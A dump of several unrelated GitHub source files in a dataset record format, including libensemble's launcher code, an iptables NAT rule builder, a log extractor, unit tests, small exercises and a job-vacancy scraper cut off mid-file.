manager_logging_config(specs=libE_specs)\n else:\n exit_logger = None\n\n if isinstance(Executor.executor, MPIExecutor):\n if Executor.executor.mpi_runner_type == \"openmpi\":\n logger.manager_warning(\n \"WARNING: Nested MPI-workflow detected. User initialized both an MPI runtime and an MPI Executor.\\n\"\n + \" Expect complications if using Open MPI.\"\n + \" An MPICH-derived MPI distribution is recommended for nested MPI workflows. \\n\"\n )\n\n def cleanup():\n \"\"\"Process cleanup required on exit\"\"\"\n if exit_logger is not None:\n exit_logger()\n\n # Set up abort handler\n def on_abort():\n \"\"\"Shut down MPI on error.\"\"\"\n comms_abort(mpi_comm)\n\n # Run generic manager\n return manager(\n [MainMPIComm(mpi_comm, w) for w in range(1, mpi_comm.Get_size())],\n sim_specs,\n gen_specs,\n exit_criteria,\n persis_info,\n alloc_specs,\n libE_specs,\n History(alloc_specs, sim_specs, gen_specs, exit_criteria, H0),\n on_abort=on_abort,\n on_cleanup=cleanup,\n )\n\n\ndef libE_mpi_worker(libE_comm, sim_specs, gen_specs, libE_specs):\n \"\"\"Worker routines run on ranks > 0.\"\"\"\n from libensemble.comms.mpi import MainMPIComm\n\n comm = MainMPIComm(libE_comm)\n worker_main(comm, sim_specs, gen_specs, libE_specs, log_comm=True)\n logger.debug(f\"Worker {libE_comm.Get_rank()} exiting\")\n return [], {}, []\n\n\n# ==================== Local version ===============================\n\n\ndef start_proc_team(nworkers, sim_specs, gen_specs, libE_specs, log_comm=True):\n \"\"\"Launch a process worker team.\"\"\"\n resources = Resources.resources\n executor = Executor.executor\n\n if libE_specs[\"comms\"] == \"local\":\n QCommLocal = QCommProcess\n else: # local_threading\n QCommLocal = QCommThread\n log_comm = False # Prevents infinite loop of logging.\n\n wcomms = [\n QCommLocal(worker_main, nworkers, sim_specs, gen_specs, libE_specs, w, log_comm, resources, executor)\n for w in range(1, nworkers + 1)\n ]\n\n for wcomm in wcomms:\n wcomm.run()\n return wcomms\n\n\ndef kill_proc_team(wcomms, timeout):\n \"\"\"Join on workers (and terminate forcefully if needed).\"\"\"\n for wcomm in wcomms:\n try:\n wcomm.result(timeout=timeout)\n except Timeout:\n wcomm.terminate()\n\n\ndef libE_local(sim_specs, gen_specs, exit_criteria, persis_info, alloc_specs, libE_specs, H0):\n \"\"\"Main routine for thread/process launch of libE.\"\"\"\n\n resources = Resources.resources\n if resources is not None:\n local_host = [socket.gethostname()]\n resources.add_comm_info(libE_nodes=local_host)\n\n exctr = Executor.executor\n if exctr is not None:\n exctr.set_resources(resources)\n exctr.serial_setup()\n\n hist = History(alloc_specs, sim_specs, gen_specs, exit_criteria, H0)\n\n # Launch worker team and set up logger\n wcomms = start_proc_team(libE_specs[\"nworkers\"], sim_specs, gen_specs, libE_specs)\n\n # Set manager resources after the forkpoint.\n if resources is not None:\n resources.set_resource_manager(libE_specs[\"nworkers\"])\n\n if not libE_specs[\"disable_log_files\"]:\n exit_logger = manager_logging_config(specs=libE_specs)\n else:\n exit_logger = None\n\n # Set up cleanup routine to shut down worker team\n def cleanup():\n \"\"\"Handler to clean up comms team.\"\"\"\n kill_proc_team(wcomms, timeout=libE_specs[\"worker_timeout\"])\n if exit_logger is not None:\n exit_logger()\n\n # Run generic manager\n return manager(\n wcomms, sim_specs, gen_specs, exit_criteria, persis_info, alloc_specs, libE_specs, hist, on_cleanup=cleanup\n )\n\n\n# ==================== TCP version =================================\n\n\ndef get_ip():\n \"\"\"Get the IP address of the current host\"\"\"\n try:\n return socket.gethostbyname(socket.gethostname())\n except socket.gaierror:\n return \"localhost\"\n\n\ndef libE_tcp_default_ID():\n \"\"\"Assign a (we hope unique) worker ID if not assigned by manager.\"\"\"\n return f\"{get_ip()}_pid{os.getpid()}\"\n\n\ndef libE_tcp(sim_specs, gen_specs, exit_criteria, persis_info, alloc_specs, libE_specs, H0):\n \"\"\"Main routine for TCP multiprocessing launch of libE.\"\"\"\n\n is_worker = libE_specs.get(\"workerID\") is not None\n\n exctr = Executor.executor\n if exctr is not None:\n # TCP does not currently support resource_management but when does, assume\n # each TCP worker is in a different resource pool (only knowing local_host)\n if not is_worker:\n exctr.serial_setup()\n\n if is_worker:\n libE_tcp_worker(sim_specs, gen_specs, libE_specs)\n return [], persis_info, []\n\n return libE_tcp_mgr(sim_specs, gen_specs, exit_criteria, persis_info, alloc_specs, libE_specs, H0)\n\n\ndef libE_tcp_worker_launcher(libE_specs):\n \"\"\"Get a launch function from libE_specs.\"\"\"\n if \"worker_launcher\" in libE_specs:\n worker_launcher = libE_specs[\"worker_launcher\"]\n else:\n worker_cmd = libE_specs[\"worker_cmd\"]\n\n def worker_launcher(specs):\n \"\"\"Basic worker launch function.\"\"\"\n return launcher.launch(worker_cmd, specs)\n\n return worker_launcher\n\n\ndef libE_tcp_start_team(manager, nworkers, workers, ip, port, authkey, launchf):\n \"\"\"Launch nworkers workers that attach back to a managers server.\"\"\"\n worker_procs = []\n specs = {\"manager_ip\": ip, \"manager_port\": port, \"authkey\": authkey}\n with Timer() as timer:\n for w in range(1, nworkers + 1):\n logger.info(f\"Manager is launching worker {w}\")\n if workers is not None:\n specs[\"worker_ip\"] = workers[w - 1]\n specs[\"tunnel_port\"] = 0x71BE\n specs[\"workerID\"] = w\n worker_procs.append(launchf(specs))\n logger.info(f\"Manager is awaiting {nworkers} workers\")\n wcomms = manager.await_workers(nworkers)\n logger.info(f\"Manager connected to {nworkers} workers ({timer.elapsed} s)\")\n return worker_procs, wcomms\n\n\ndef libE_tcp_mgr(sim_specs, gen_specs, exit_criteria, persis_info, alloc_specs, libE_specs, H0):\n \"\"\"Main routine for TCP multiprocessing launch of libE at manager.\"\"\"\n hist = History(alloc_specs, sim_specs, gen_specs, exit_criteria, H0)\n\n # Set up a worker launcher\n launchf = libE_tcp_worker_launcher(libE_specs)\n\n # Get worker launch parameters and fill in defaults for TCP/IP conn\n if libE_specs.get(\"nworkers\"):\n workers = None\n nworkers = libE_specs[\"nworkers\"]\n elif libE_specs.get(\"workers\"):\n workers = libE_specs[\"workers\"]\n nworkers = len(workers)\n ip = libE_specs[\"ip\"] or get_ip()\n port = libE_specs[\"port\"]\n authkey = libE_specs[\"authkey\"]\n\n with ServerQCommManager(port, authkey.encode(\"utf-8\")) as tcp_manager:\n # Get port if needed because of auto-assignment\n if port == 0:\n _, port = tcp_manager.address\n\n if not libE_specs[\"disable_log_files\"]:\n exit_logger = manager_logging_config(specs=libE_specs)\n else:\n exit_logger = None\n\n logger.info(f\"Launched server at ({ip}, {port})\")\n\n # Launch worker team and set up logger\n worker_procs, wcomms = libE_tcp_start_team(tcp_manager, nworkers, workers, ip, port, authkey, launchf)\n\n def cleanup():\n \"\"\"Handler to clean up launched team.\"\"\"\n for wp in worker_procs:\n launcher.cancel(wp, timeout=libE_specs[\"worker_timeout\"])\n if exit_logger is not None:\n exit_logger()\n\n # Run generic manager\n return manager(\n wcomms, sim_specs, gen_specs, exit_criteria, persis_info, alloc_specs, libE_specs, hist, on_cleanup=cleanup\n )\n\n\ndef libE_tcp_worker(sim_specs, gen_specs, libE_specs):\n \"\"\"Main routine for TCP worker launched by libE.\"\"\"\n ip = libE_specs[\"ip\"]\n port = libE_specs[\"port\"]\n authkey = libE_specs[\"authkey\"]\n workerID = libE_specs[\"workerID\"]\n\n with ClientQCommManager(ip, port, authkey.encode(\"utf-8\"), workerID) as comm:\n worker_main(comm, sim_specs, gen_specs, libE_specs, workerID=workerID, log_comm=True)\n logger.debug(f\"Worker {workerID} exiting\")\n\n\n# ==================== Additional Internal Functions ===========================\n\n\ndef _dump_on_abort(hist, persis_info, save_H=True, path=Path.cwd()):\n \"\"\"Dump history and persis_info on abort\"\"\"\n logger.error(\"Manager exception raised .. aborting ensemble:\")\n logger.error(f\"Dumping ensemble history with {hist.sim_ended_count} sims evaluated:\")\n\n if save_H:\n np.save(Path(path / Path(\"libE_history_at_abort_\" + str(hist.sim_ended_count) + \".npy\")), hist.trim_H())\n with Path(path / Path(\"libE_persis_info_at_abort_\" + str(hist.sim_ended_count) + \".pickle\")).open(\"wb\") as f:\n pickle.dump(persis_info, f)\n","repo_name":"Libensemble/libensemble","sub_path":"libensemble/libE.py","file_name":"libE.py","file_ext":"py","file_size_in_byte":22199,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"3"} +{"seq_id":"34176437122","text":"import pandas as pd\n\"\"\"\n Using iterrows() to iterate over every series of a Pandas DataFrame is easy to understand, but not very efficient. On every iteration, you're creating a new Pandas Series.\n\nIf you want to add a column to a DataFrame by calling a function on another column, the iterrows() method in combination with a for loop is not the preferred way to go. Instead, you'll want to use apply(). \n\n\"\"\"\n\ndef itter_dataframe():\n my_data = pd.read_csv(\"data.csv\", index_col=\"Date\")\n\n for row_index, row_data in my_data.iterrows():\n print(f\"{row_index}\")\n print(f\"{row_data}\")\n break\n \n # to add another col in a dataframe\n \"\"\" for row_index, row_data in my_data.iterrows():\n my_data.loc[row_index, \"Testing\"] = row_data[\"Jackpot\"] \"\"\"\n\n\ndef using_apply():\n my_data = pd.read_csv(\"data.csv\", index_col=\"Date\")\n my_data[\"TESTING\"] = my_data[\"Jackpot\"]\n print(my_data)\n\ndef main():\n itter_dataframe()\n # using_apply()\n\nif __name__ == '__main__':\n main()\n","repo_name":"Beau28713/Data_Camp_Courses","sub_path":"Pandas/dataframe_itteration.py","file_name":"dataframe_itteration.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12614252543","text":"\"\"\"\nNotification filters\n\"\"\"\nimport logging\n\nfrom django.utils import timezone\n\nfrom common.djangoapps.course_modes.models import CourseMode\nfrom common.djangoapps.student.models import CourseEnrollment\nfrom openedx.core.djangoapps.course_date_signals.utils import get_expected_duration\nfrom openedx.core.djangoapps.notifications.base_notification import COURSE_NOTIFICATION_TYPES\nfrom openedx.features.course_duration_limits.models import CourseDurationLimitConfig\nfrom xmodule.modulestore.django import modulestore\n\nlogger = logging.getLogger(__name__)\n\n\nclass NotificationFilter:\n \"\"\"\n Filter notifications based on their type\n \"\"\"\n\n @staticmethod\n def filter_audit_expired(user_ids, course) -> list:\n \"\"\"\n Check if the user has access to the course\n \"\"\"\n verified_mode = CourseMode.verified_mode_for_course(course=course, include_expired=True)\n access_duration = get_expected_duration(course.id)\n course_time_limit = CourseDurationLimitConfig.current(course_key=course.id)\n if not verified_mode:\n logger.info(\n \"NotificationFilter: Course %s does not have a verified mode, so no users will be filtered out\",\n course.id,\n )\n return user_ids\n enrollments = CourseEnrollment.objects.filter(\n user_id__in=user_ids,\n course_id=course.id,\n mode=CourseMode.AUDIT,\n )\n if course_time_limit.enabled_for_course(course.id):\n enrollments = enrollments.filter(created__gte=course_time_limit.enabled_as_of)\n logger.info(\"NotificationFilter: Number of audit enrollments for course %s: %s\", course.id, enrollments.count())\n for enrollment in enrollments:\n content_availability_date = max(enrollment.created, course.start)\n expiration_date = content_availability_date + access_duration\n logger.info(\"NotificationFilter: content_availability_date: %s and access_duration: %s\",\n content_availability_date, access_duration\n )\n if expiration_date and timezone.now() > expiration_date:\n logger.info(\"User %s has expired audit access to course %s\", enrollment.user_id, course.id)\n user_ids.remove(enrollment.user_id)\n return user_ids\n\n def apply_filters(self, user_ids, course_key, notification_type) -> list:\n \"\"\"\n Apply all the filters\n \"\"\"\n notification_config = COURSE_NOTIFICATION_TYPES.get(notification_type, {})\n applicable_filters = notification_config.get('filters', [])\n course = modulestore().get_course(course_key)\n for filter_name in applicable_filters:\n logger.info(\n \"NotificationFilter: Applying filter %s for notification type %s\",\n filter_name,\n notification_type,\n )\n user_ids = getattr(self, filter_name)(user_ids, course)\n return user_ids\n","repo_name":"openedx/edx-platform","sub_path":"openedx/core/djangoapps/notifications/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"3124753063","text":"import unittest\n\nfrom charm import PolarSignalsCloudIntegratorCharm\nfrom ops.model import ActiveStatus, BlockedStatus\nfrom ops.testing import Harness\n\n\nclass TestCharm(unittest.TestCase):\n def setUp(self):\n self.harness = Harness(PolarSignalsCloudIntegratorCharm)\n self.addCleanup(self.harness.cleanup)\n self.harness.set_leader(True)\n self.harness.add_network(\"10.10.10.10\")\n self.harness.begin()\n self.maxDiff = None\n\n def test_charm_blocks_if_no_token_specified(self):\n self.harness.update_config({\"bearer_token\": \"\"})\n self.assertEqual(\n self.harness.model.unit.status,\n BlockedStatus(\"no cloud token configured\"),\n )\n\n def test_charm_sets_relation_data_for_valid_token(self):\n self.harness.update_config({\"bearer_token\": \"deadbeef\"})\n\n self.assertEqual(self.harness.model.unit.status, ActiveStatus())\n\n rel_id = self.harness.add_relation(\"parca-store-endpoint\", \"parca-agent\")\n relation_data = self.harness.get_relation_data(rel_id, self.harness.charm.app.name)\n self.harness.add_relation_unit(rel_id, \"parca-agent/0\")\n\n expected = {\n \"remote-store-address\": \"grpc.polarsignals.com:443\",\n \"remote-store-bearer-token\": \"deadbeef\",\n \"remote-store-insecure\": \"false\",\n }\n\n self.assertEqual(expected, relation_data)\n\n def test_non_leader_does_not_modify_relation_data(self):\n self.harness.set_leader(False)\n self.harness.update_config({\"bearer_token\": \"foobar\"})\n rel_id = self.harness.add_relation(\"parca-store-endpoint\", \"parca-agent\")\n relation_data = self.harness.get_relation_data(rel_id, self.harness.charm.app.name)\n self.assertEqual({}, relation_data)\n\n # def test_charm_removes_token_when_blank(self):\n # self.harness.update_config({\"bearer_token\": \"deadbeef\"})\n\n # self.assertEqual(self.harness.model.unit.status, ActiveStatus())\n\n # rel_id = self.harness.add_relation(\"parca-store-endpoint\", \"parca-agent\")\n # relation_data = self.harness.get_relation_data(rel_id, self.harness.charm.app.name)\n # self.harness.add_relation_unit(rel_id, \"parca-agent/0\")\n\n # expected = {\n # \"remote-store-address\": \"grpc.polarsignals.com:443\",\n # \"remote-store-bearer-token\": \"deadbeef\",\n # \"remote-store-insecure\": \"false\",\n # }\n\n # self.assertEqual(expected, relation_data)\n\n # self.harness.update_config({\"bearer_token\": \"\"})\n\n # self.assertIsInstance(self.harness.model.unit.status, BlockedStatus)\n\n # self.assertEqual(dict(relation_data).get(\"remote-store-bearer-token\", \"\"), \"\")\n","repo_name":"jnsgruk/polar-signals-cloud-integrator-operator","sub_path":"tests/unit/test_charm.py","file_name":"test_charm.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"72734953041","text":"from django.contrib import admin\nfrom django.urls import path, include, re_path\nfrom django.views.generic import TemplateView\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('api/', include('forum.urls')),\n path('api/users/', include('users.urls')),\n # Catch all other paths\n re_path(r'^(?P.*)/$',\n TemplateView.as_view(template_name='index.html')),\n path('', TemplateView.as_view(template_name='index.html')),\n]\n","repo_name":"IvanFon/django-react-forum","sub_path":"django_react_forum/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20876996416","text":"# (2n)!/n!(n+1)!\nimport math\nn = int(input())\n\n\ndef fact(N):\n fact = 1\n for i in range(N):\n fact *= (i+1)\n return fact\n\n\ndef catalan(n):\n\n return math.floor(fact(2*n)/(fact(n)*fact(n+1)))\n\n\nprint(catalan(n))\n","repo_name":"KrishnaPrasath/CODEKATA_G","sub_path":"Strings/catalan.py","file_name":"catalan.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26325505411","text":"import abc\nimport collections\nimport logging\nimport re\n\n\nclass BaseExtractor(object):\n \"\"\"Base class for extractors\"\"\"\n name = None\n\n def __init__(self):\n assert self.name.replace(\"_\", \"\").isalnum()\n\n @abc.abstractmethod\n def process(self, line):\n \"\"\"Method to process provided line\"\"\"\n raise NotImplementedError\n\n\nclass TracebackExtractor(BaseExtractor):\n \"\"\"Extracts tracebacks from provided line sequence\"\"\"\n name = \"tracebacks\"\n tb_head = \"Traceback (most recent call last):\"\n tracebacks = collections.defaultdict(int)\n\n def __init__(self, config=None):\n super(TracebackExtractor, self).__init__()\n self.tb = self.index = None\n self.stats = getattr(config, \"tb_ex_stats\", False)\n self.strip_space = getattr(config, \"tb_ex_strip_space\", False)\n\n def process(self, line):\n if self.tb:\n if line:\n line = line[self.index:]\n self.tb += line\n if line and line[0] != \" \":\n tb = self.tb\n self.tb = None\n if self.stats:\n self.tracebacks[tb[self.index]] += 1\n return tb\n elif self.tb_head in line:\n self.index = line.index(self.tb_head)\n self.tb = line[self.index:] if self.strip_space else line\n\n\nclass LoggingExtractor(BaseExtractor):\n \"\"\"Extracts all log messages with provided log level\"\"\"\n name = \"logging\"\n\n def __init__(self, config=None):\n super(LoggingExtractor, self).__init__()\n self.level = getattr(config, \"log_ex_level\", \"ERROR\")\n self.accepted_levels = self._determinate_accepted_levels()\n\n @classmethod\n def get_logging_levels(cls, only_str=False):\n # pylint: disable=W0212\n level_names = logging._levelNames\n # pylint: enable=W0212\n if only_str:\n return [level for level in level_names.keys()\n if isinstance(level, str)]\n return level_names\n\n def _determinate_accepted_levels(self):\n level_names = self.get_logging_levels()\n level = level_names[self.level]\n return [level_names[key] for key in level_names.keys()\n if isinstance(key, int) and key >= level]\n\n def process(self, line):\n if any(level in line for level in self.accepted_levels):\n return line\n\n\nclass RegExpExtractor(BaseExtractor):\n \"\"\"Extracts messages by provided regular expression\"\"\"\n name = \"regexp\"\n\n def __init__(self, config):\n super(RegExpExtractor, self).__init__()\n self.regexp = re.compile(config.re_ex_regexp)\n\n def process(self, line):\n if self.regexp.search(line):\n return line\n\n\ndef _collect_extractors():\n \"\"\"Collect all available extractors\"\"\"\n ex_classes = [value for value in globals().values()\n if isinstance(value, type)]\n return [klass for klass in ex_classes\n if issubclass(klass, BaseExtractor) and\n klass != BaseExtractor]\n\n\ndef get_extractors(names=()):\n \"\"\"Returns list of extractors by if they exists\"\"\"\n extractors = _collect_extractors()\n if not names:\n return extractors\n existing_names = {ex.name for ex in extractors}\n if not set(names).issubset(existing_names):\n raise ValueError(\n \"Extractor with provided name(s) not found: {names}\".format(\n names=\", \".join(set(names) - existing_names)\n )\n )\n return [extractor for extractor in _collect_extractors()\n if extractor.name in names]\n","repo_name":"rpromyshlennikov/py-log-parser","sub_path":"py_log_parser/parser/extractors.py","file_name":"extractors.py","file_ext":"py","file_size_in_byte":3603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16215664966","text":"from pyroman import Firewall\nfrom util import Util\nfrom port import Port, PortInvalidSpec\nfrom chain import Chain\nfrom exception import PyromanException\n\nclass Nat:\n\t\"\"\"\n\tRepresents a Network Address Translation rule.\n\t\"\"\"\n\tdef __init__(self, client, server, ip, port, dport, dir, loginfo):\n\t\t\"\"\"\n\t\tCreate a new NAT rule\n\n\t\tclient -- clients allowed to access this NAT rule\n\t\tserver -- host nick the NAT is applied to\n\t\tip -- IP that is used in NAT\n\t\tport -- Ports that are used in NAT\n\t\tdport -- Destination port for single port redirections\n\t\tdir -- incoming, outgoing or bidirecitonal NAT\n\n\t\tNote that the NAT is always applied to the \"server\" host, the UI\n\t\taccessible function is responsible to eventually exchange client\n\t\tand server for \"outgoing\" NATs (where the naming of client, server\n\t\tmakes more sense the other way, think of workstations accessing\n\t\tweb server via a NAT)\n\t\t\"\"\"\n\t\tif server == \"\":\n\t\t\traise PyromanException(\"Nat lacking a server host (client: %s, server: %s, ip: %s) at %s\" % (client, server, ip, loginfo))\n\t\tif ip == \"\":\n\t\t\traise PyromanException(\"Nat lacking IP address: (client: %s, server: %s) at %s\" % (client, server, loginfo))\n\t\tif dir not in [\"in\", \"out\", \"both\"]:\n\t\t\traise PyromanException(\"Nat with invalid direction: (client: %s, server: %s, ip: %s, dir: %s) at %s\" % (client, server, ip, dir, loginfo))\n\t\tif not Util.verify_ip4(ip):\n\t\t\traise PyromanException(\"Nat with invalid IP address: (client: %s, server: %s, ip: %s) at %s\" % (client, server, ip, loginfo))\n\t\tif port:\n\t\t\ttry:\n\t\t\t\tself.port = Port(port)\n\t\t\texcept PortInvalidSpec:\n\t\t\t\traise PyromanException(\"Nat port specification invalid: (client: %s, server: %s, ip: %s, port: %s) at %s \" % (client, server, ip, port, loginfo))\n\t\t\tif not self.port.forIPv4():\n\t\t\t\traise PyromanException(\"Non-IPv4 port specified: \"+port)\n\t\telse:\n\t\t\tself.port = None\n\t\tif dport:\n\t\t\ttry:\n\t\t\t\tself.dport = Port(dport)\n\t\t\texcept PortInvalidSpec:\n\t\t\t\traise PyromanException(\"Nat dport specification invalid: (client: %s, server: %s, ip: %s, port: %s, dport: %s) at %s \" % (client, server, ip, port, dport, loginfo))\n\t\t\tif not self.dport.forIPv4():\n\t\t\t\traise PyromanException(\"Non-IPv4 port specified: \"+dport)\n\t\telse:\n\t\t\tself.dport = None\n\t\tif self.dport and not (self.port.proto == self.dport.proto):\n\t\t\traise PyromanException(\"Nat ports have different protocols: (client: %s, server: %s, ip: %s, port: %s, dport: %s) at %s\" % (client, server, ip, port, dport, loginfo))\n\t\tif dport and not port:\n\t\t\traise PyromanException(\"Nat with destination port, but no source port: (client: %s, server: %s, ip: %s, dport: %s) at %s\" % (client, server, ip, dport, loginfo))\n\t\tself.client = Util.splitter.split(client)\n\t\tself.server = Util.splitter.split(server)\n\t\tself.ip = ip\n\t\t# port, dport are set above\n\t\tself.dir = dir\n\t\tself.loginfo = loginfo\n\n\tdef gen_snat(self, client, server):\n\t\t\"\"\"\n\t\tInternal helper function, with client, server objects\n\t\t\"\"\"\n\t\tiff = client.iface.get_filter(\"d\")\n\t\ttarget = \"SNAT --to-source %s\" % self.ip\n\t\t# do we have a port restriction?\n\t\tpfilter = \"\"\n\t\tif self.port and self.dport:\n\t\t\tpfilter = self.dport.get_filter_proto() + \" \" + self.dport.get_filter_port(\"s\")\n\t\t\ttarget = target + \":%s\" % self.port.port\n\t\telif self.port:\n\t\t\tpfilter = self.port.get_filter_proto() + \" \" + self.port.get_filter_port(\"s\")\n\n\t\tc = Firewall.chains[\"natPOST\"]\n\t\tfor sip in server.ip:\n\t\t\tfilter = iff[0] + \" -s %s\" % sip\n\t\t\tc.append4(\"%s %s -j %s\" % (filter, pfilter, target), self.loginfo)\n\n\tdef gen_dnat(self, client, server):\n\t\t\"\"\"\n\t\tInternal helper function, with client, server objects\n\t\t\"\"\"\n\t\tiff = client.iface.get_filter(\"s\")\n\t\tfilter = iff[0] + \" -d %s\" % self.ip\n\t\t# do we have a port restriction?\n\t\tpfilter = \"\"\n\t\tif self.port:\n\t\t\tpfilter = self.port.get_filter_proto() + \" \" + self.port.get_filter_port(\"d\")\n\n\t\tc = Firewall.chains[\"natPRE\"]\n\t\tfor sip in server.ip:\n\t\t\ttarget = \"DNAT --to-destination %s\" % sip\n\t\t\tif self.dport:\n\t\t\t\ttarget = target + \":%s\" % self.dport.port\n\t\t\tc.append4(\"%s %s -j %s\" % (filter, pfilter, target), self.loginfo)\n\n\tdef generate(self):\n\t\tfor c in self.client:\n\t\t\tfor s in self.server:\n\t\t\t\tclient = Firewall.hosts[c]\n\t\t\t\tserver = Firewall.hosts[s]\n\t\t\t\t# sanity checks, that should be moved to \"verify\"\n\t\t\t\tif not client or not server:\n\t\t\t\t\traise PyromanException(\"Client or server not found for NAT defined at %s\" % self.loginfo)\n\t\t\t\tif client.iface == server.iface:\n\t\t\t\t\traise PyromanException(\"client interface and server interface match (i.e. cannot NAT!) for NAT defined at %s\" % self.loginfo)\n\n\t\t\t\tif self.dir in [\"in\", \"both\"]:\n\t\t\t\t\tself.gen_dnat(client, server)\n\t\t\t\tif self.dir in [\"out\", \"both\"]:\n\t\t\t\t\tself.gen_snat(client, server)\n","repo_name":"wil/pyroman","sub_path":"pyroman/nat.py","file_name":"nat.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18324173131","text":"import sys\nimport math\nfrom collections import deque\n\nsys.setrecursionlimit(100000)\nMOD = 10 ** 9 + 7\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\n\n\n# アルファベットと数字の対応\nalp_to_num = {chr(i+97): i for i in range(26)}\nALP_to_num = {chr(i+97).upper(): i for i in range(26)}\nnum_to_alp = {i: chr(i+97) for i in range(26)}\nnum_to_ALP = {i: chr(i+97).upper() for i in range(26)}\n\n\ndef main():\n S = [alp_to_num[s] for s in SI()]\n T = [alp_to_num[s] for s in SI()]\n\n for i in range(26):\n SS = [(s+i)%26 for s in S]\n if SS == T:\n print(\"Yes\")\n exit()\n\n print(\"No\")\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"ABC/ABC232/ABC232B.py","file_name":"ABC232B.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71863249040","text":"#\n# Приложение должно анализировать несколько страниц сайта(также вводим через input или аргументы). Получившийся список должен содержать в себе минимум:\n#\n#*Наименование вакансии\n#*Предлагаемую зарплату (отдельно мин. отдельно макс. и отдельно валюту)\n#*Ссылку на саму вакансию\n#*Сайт откуда собрана вакансия\n\n#From SAV to Love\n\n\nfrom bs4 import BeautifulSoup as bs\nimport requests\nimport re\nimport pandas as pd\nimport json\nfrom pprint import pprint\nimport numpy as np\n\n\n\nheaders = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36'}\n#получим имя вакансии/input name vacancy\nvacancy_name = input(\"Введите наименование вакансии для парсинга с superjob.ru и hh.ru: \")\n#базовые ссылки/base url\nlink_hh = 'https://hh.ru'\nlink_sj = 'https://www.superjob.ru'\n#take response/получим ответы от сайтов\nresponse_hh = requests.get(f'{link_hh}/search/vacancy?area=1&st=searchVacancy&text={vacancy_name}', headers=headers).text\nresponse_sj = requests.get(f'{link_sj}/vacancy/search/?keywords={vacancy_name}', headers=headers).text\n#получим базовый суп / take base suop\nsoup_hh = bs(response_hh,'lxml')\nsoup_sj = bs(response_sj,'lxml')\n#Сформируем массивы для загрузки баз по hh и sj\nbase_hh = []\nbase_sj = []\n#Сформируем массивы по вакансиям по hh и sj\nvacancy_hh = []\nvacancy_sj = []\n#найдем переход по страницам\npages_hh = soup_hh.find_all('a', {'class' : \"bloko-button HH-Pager-Control\"})\npages_sj = soup_sj.find('div', {'class' : \"L1p51\"}).find_all('span', {'class' : \"_3IDf-\"})\n#получим кол-во страниц/take pages numbers\npages_hh = int(pages_hh[-1].text)\npages_sj = int(pages_sj[-2].text)\n#PARSER HH BODY\nfor page in range(pages_hh):\n link = f'{link_hh}/search/vacancy?area=1&st=searchVacancy&text={vacancy_name}&page={page}'\n response_hh = requests.get(link, headers=headers).text\n soup_hh = bs(response_hh,'lxml')\n vacancy_hh += (soup_hh.find_all('div', {'data-qa':'vacancy-serp__vacancy'}))\n#приравняем индекс к 0/ index =0\ni = 0\nfor v in vacancy_hh:\n data_hh = {}\n #получим название вакашки\n title = v.find('a', {'data-qa': 'vacancy-serp__vacancy-title'})\n if not title:\n data_hh['title'] = np.nan\n else:\n data_hh['title'] = title.text\n #получим ссылку на вакансию\n link = v.find('a', {'data-qa': 'vacancy-serp__vacancy-title'})\n if not link:\n data_hh['link'] = np.nan\n else:\n data_hh['link'] = link['href']\n #получим наименование работодателя\n employer = v.find('a', {'data-qa': 'vacancy-serp__vacancy-employer'})\n if not employer:\n data_hh['employer'] = np.nan\n else:\n data_hh['employer'] = employer.text\n #выгрузим сырые данные по оплате\n compensation = v.find('span', {'data-qa': 'vacancy-serp__vacancy-compensation'})\n if not compensation:\n data_hh['compensation'] = np.nan\n else:\n data_hh['compensation'] = compensation.text\n data_hh['source'] = link_hh\n#добавим инф в базу hh\n base_hh.append(data_hh)\n\nwith open(f'HH.txt', 'w') as outfile:\n json.dump(base_hh, outfile)\n#откроем в дата фрайме/open in data frame\ndf_hh = pd.DataFrame(base_hh)\n#сохраним дата фрейм в csv/ save data frame to csv\ndf_hh.to_csv(f'HH.csv')\n\n#PARSER SJ BODY\nfor page in range(pages_sj):\n link = f'{link_sj}/vacancy/search/?keywords={vacancy_name}&page={page}'\n response_sj = requests.get(link, headers=headers).text\n soup_sj = bs(response_sj,'lxml')\n vacancy_sj += (soup_sj.find_all('div', {'class':'_3zucV f-test-vacancy-item _3j3cA RwN9e _3tNK- _1NStQ _1I1pc'}))\n#приравняем индекс к 0/ index =0\ni = 0\nfor v in vacancy_sj:\n data_sj = {}\n\n title = v.find('div', {'class': '_3mfro CuJz5 PlM3e _2JVkc _3LJqf'})\n if not title:\n data_sj['title'] = np.nan\n else:\n title = title.find('a')\n if not title:\n data_sj['title'] = np.nan\n else:\n data_sj['title'] = title.text\n\n link = v.find('div', {'class': '_3mfro CuJz5 PlM3e _2JVkc _3LJqf'})\n if not link:\n data_sj['link'] = np.nan\n else:\n link = link.find('a')\n if not link:\n data_sj['link'] = np.nan\n else:\n data_sj['link'] = link_sj + link['href']\n\n employer = v.find('span',\n {'class': '_3mfro _3Fsn4 f-test-text-vacancy-item-company-name _9fXTd _2JVkc _2VHxz _15msI'})\n if not employer:\n data_sj['employer'] = np.nan\n else:\n 